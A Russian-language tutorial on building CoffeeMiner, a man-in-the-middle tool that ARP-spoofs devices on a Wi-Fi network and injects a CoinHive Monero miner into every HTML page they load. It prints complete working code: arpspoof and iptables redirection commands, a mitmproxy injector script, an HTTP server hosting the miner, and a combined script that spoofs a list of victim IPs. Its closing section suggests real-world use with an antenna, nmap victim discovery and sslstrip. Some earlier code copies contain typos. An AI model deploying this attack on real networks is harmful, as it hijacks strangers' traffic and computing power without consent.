Цель этой статьи - объяснить, как можно совершить атаку Man-in-the-middle (MITM) для внедрения javascript в веб-страницы для того, чтобы все девайсы, подключенные к сети Wi-Fi майнили криптовалюту для атакующего. Гит CoffeMiner - github.com/arnaucode/coffeeMiner 1. Сценарий Несколько устройств подключены к сети Wi-Fi, а CoffeeMiner перехватывает трафик между пользователем и роутером. 1.1 Настройка сценария Главная часть - Wi-Fi роутер с подключенными к нему смартфонами и ноутбуками. Давайте рассмотрим настройку на примере виртуальных машин. Для демонстрации мы будем использовать VirtualBox (virtualbox.org) В первую очередь нам нужно скачать образ для установки Линукса на виртуальную машину - в частном случае мы будем использовать Kali Linux (kali.org) Как только мы скачали .ISO, нам нужно подготовить три виртуальные машины с установленным на них образом. Для настройки обычного сценария нам нужно настроить виртуальные машины по ролям, которые они будут исполнять: Жертва - машина, которая подключается к роутеру и сёрфит веб-страницы Атакующий - будет устройством, на которой будет запущен CoffeeMiner. Это та самая машина, совершающая MITM-атаку Роутер - Будет функционировать как обычный роутер Для настройки виртуальных машин мы будем использовать следующие конфигурации: Жертва network adapter: eth0: Host-only Adapter /etc/network/interfaces: auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 10.0.2.10 netmask 255.255.255.0 gateway 10.0.2.15 Код auto eth0 iface eth0 inet static address 10.0.2.10 netmask 255.255.255.0 gateway 10.0.2.15 Атакующий network adapter: eth0: Host-only Adapter /etc/network/interfaces: auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 10.0.2.20 netmask 255.255.255.0 gateway 10.0.2.15 Код auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 10.0.2.20 netmask 255.255.255.0 gateway 10.0.2.15 Роутер network adapter: eth0: Bridged Adapter eth1: Host-only Adapter /etc/network/interfaces: auto lo iface lo inet loopback auto eth0 iface eth0 inet dhcp auto eth1 iface eth1 inet static address 10.0.2.15 netmask 255.255.255.0 Код auto lo iface lo inet loopback auto eth0 iface eth0 inet dhcp auto eth1 iface eth1 inet static address 10.0.2.15 netmask 255.255.255.0 2. CoffeeMiner: разбор кода 2.1 ARPspoofing В первую очередь, нам нужно понимание того, как совершается MITM-атака. Статья в википедии: en.wikipedia.org/wiki/ARP_spoofing (прим.: статья на английском намного подробнее описывает все понятия, чем русскоязычная) Для осуществления ARPspoofing атаки мы используем библиотеку dsniff. arpspoof -i interface -t ipVictim ipGateway arpspoof -i interface -t ipGateway ipVictim Код arpspoof -i interface -t ipVictim ipGateway arpspoof -i interface -t ipGateway ipVictim 2.2 mitmproxy mitmproxy позволяет нам анализировать трафик, который проходит через хост и позволяет его редактировать. В нашем случае мы будем использовать его для инъекции скрипта в HTML-страницы. Нам будет достаточно добавить на страницу всего одну строчку кода, которая будет вызывать запуск скрипта криптомайнера. Строка для инъекции майнера: http://httpserverIP:8000/script.js Код http://httpserverIP:8000/script.js 2.3 Инъектор Как только мы перехватили трафик жертвы, нам нужно подгрузить наш скрипт. Мы будем использовать mitmproxy API для того, чтобы сделать инъектор: from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def _init_(self, patch): self.path = patch def response(self, flow: http.HTTPFlow) -> None: if self.patch: html = BeautifulSoup(flow.response.content, "html.parser") print(self.patch) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': script = html.new_tag( "script", src=self.patch, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("patch", type=str) args = parser.parse_args() return Injector(args.patch) Код from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def _init_(self, patch): self.path = patch def response(self, flow: http.HTTPFlow) -> None: if self.patch: html = BeautifulSoup(flow.response.content, "html.parser") print(self.patch) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': script = html.new_tag( "script", src=self.patch, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("patch", type=str) args = parser.parse_args() return Injector(args.patch) 2.4 HTTP сервер Как мы видим, инъектор добавляет строку в html-код страницы с вызовом запуска нашего майнера. И там нужно загрузить наш скрипт на HTTP сервер. Для этого мы поднимем его на машине “атакующего”, и для этого используем библиотеку Python под названием “http.server”: #!/usr/bin/env python import http.server import socketserver import os PORT = 8000 web_dir = os.patch.join(os.patch.dirname(_file_), 'miner_script') os.chdir(web_dir) Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("", PORT), Handler) print("serving at port", PORT) httpd.serve_forever() Код #!/usr/bin/env python import http.server import socketserver import os PORT = 8000 web_dir = os.patch.join(os.patch.dirname(_file_), 'miner_script') os.chdir(web_dir) Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("", PORT), Handler) print("serving at port", PORT) httpd.serve_forever() Код выше - простой HTTP сервер, который по запросу будет подгружать наш майнер на машину жертвы. Скрипт майнера будет помещён в директорию /miner_script. В нашем случае мы будем использовать майнер от CoinHive на javascript. 2.5 Криптомайнер от CoinHive CoinHive - майнер на JavaScript для Monero (XMR). Он может быть добавлен на сайт и будет использовать мощности процессора посетителя (CPU) для вычисления хэшей по алгоритму Cryptonight PoW, и майнинга Monero. Использование майнера CoinHive имеет смысл только в том случае, когда пользователь остаётся на одной и той же странице на более-менее долгое время. например сессии по 40 секунд не представляют для нас никакого интереса. Но в нашем случае, так как мы подгружаем майнер на каждой HTML-странице, на которой находится пользователь, мы получим достаточно долгие сессии для майнинга Monero 3. Собираем CoffeeMiner Главная задача - скомпоновать все предыдущие пункты для быстрого и автономного развёртывания. Алгоритм такой: скрипт CoffeeMiner осуществляет атаку ARPspoofing и настраивает mitmproxy для инъекции скрипта CoinHive в HTML-страницы жертв. В первую очередь нам нужно настроить ip_forwarding и IPTABLES для того, чтобы машина атакующего выступала в роли связующего звена между роутером и жертвой: echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 Код echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 Для спуфинга всех возможных жертв мы подготовим текстовый файл “victims.txt” со всеми IP-адресами жертв. Для скана всех адресов мы подготовим несколько строк кода на Питоне, с помощью которых получим список IP и запустим ARPspoof на каждой машине из списка. #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") Код #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") После этого запустим HTTP сервер: python3 httpServer.py И запустим mitmproxy с injector.py: mitmdump -s 'injector.py http://httpserverIP:8000/script.js' Код mitmdump -s 'injector.py http://httpserverIP:8000/script.js' 3.1 Финальная версия CoffeeMiner Теперь мы объединим всё, что разобрали выше в один скрипт и назовём его “CoffeMiner.py”: import os import sys #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # configure routing (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &") # start the mitmproxy os.system("~/.local/bin/mitmdump -s 'injector.py http://192.168.1.32:8000/script.js' -T") Код import os import sys #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # configure routing (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &") # start the mitmproxy os.system("~/.local/bin/mitmdump -s 'injector.py http://192.168.1.32:8000/script.js' -T") А также не забудем о “injector.py”: from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': print(flow.response.headers["content-type"]) script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path) Код from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': print(flow.response.headers["content-type"]) script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path) А для запуска нам нужно просто отдать команду: python3 coffeeMiner.py RouterIP Код python3 coffeeMiner.py RouterIP 4. Демонстрация работы Для демонстрации мы настроим виртуальные машины так, как описано выше. После атаки ARPspoofing, наличии готовых инъектора и HTTP сервера мы можем переключиться на машину жертвы и открыть любую страницу. Трафик жертвы пойдёт через машину атакующего и активирует инъектор. В результате в HTML страницах, просматриваемых пользователем появится строка, которую добавил атакующий Вместо заключения Как мы видим, такой тип атак очень прост и может быть доведён до ума для полной автоматизации. С другой стороны нужно помнить, что для атак такого типа в реальном мире неплохо было бы иметь Wi-Fi антенну для лучшего покрытия зоны действия Wi-Fi. Главной задачей было осуществление самой атаки, но мы всё ещё вынуждены самостоятельно редактировать “victims.txt” и дополнять его IP адресами свежеподключившихся жертв. В последующих версиях возможно будет добавить автоматический **** с Nmap, для автопополнения списков IP-адресов жертв. А ещё позже можно будет добавить sslstrip для уверенности, что инъекция сработает на сайтах с HTTPS.